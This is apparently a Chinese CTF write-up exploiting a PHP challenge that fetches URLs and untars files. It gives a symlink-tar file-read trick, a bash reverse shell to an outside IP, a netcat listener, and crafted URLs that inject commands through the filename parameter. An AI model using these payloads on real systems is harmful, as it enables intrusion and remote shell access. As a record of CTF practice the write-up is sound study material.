点击此处获得更好的阅读体验
直接访问题目可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]); echo $sandbox."</br>"; @mkdir($sandbox); @chdir($sandbox); if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"])) die(); $url = str_replace("|", "", $_GET["url"]); $data = shell_exec("GET " . escapeshellarg($url)); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); shell_exec("UNTAR ".escapeshellarg(basename($info["basename"]))); highlight_file(__FILE__);
|
但是直接传马发现不解析,于是搜索了一下,发现 CVE-2018-12015: Archive::Tar: directory traversal
利用这个软连接可以来进行任意文件读取,具体poc如下
1 2 3 4
| ln -s /var/www/html/index.php content tar cvf exp.tar content tar -tvvf exp.tar php -S 0.0.0.0:2233
|
http://183.129.189.62:16407/?url=http://ezlovell.zeroyu.xyz:2233/exp.tar&filename=exp.tar
但是这个方法没有办法读取到flag,之后参考之前hitcon的ssrfme一题,发现可以在UNTAR处进行RCE,因此有了如下的exp
服务器信息:202.182.115.203 2233 首先在服务器的z3文件中写入如下语句,方便后续执行进行反弹shell
1
| bash -i >& /dev/tcp/202.182.115.203/2333 0<&1 2>&1
|
之后启动监听和一句话服务器,一句话服务器主要用于下载z3文件
1 2
| php -S 0.0.0.0:2233 nc -lvp 2333
|
之后按照顺序执行下列语句即可获取反弹的shell
1 2
| http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=z3 http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=bash z3|
|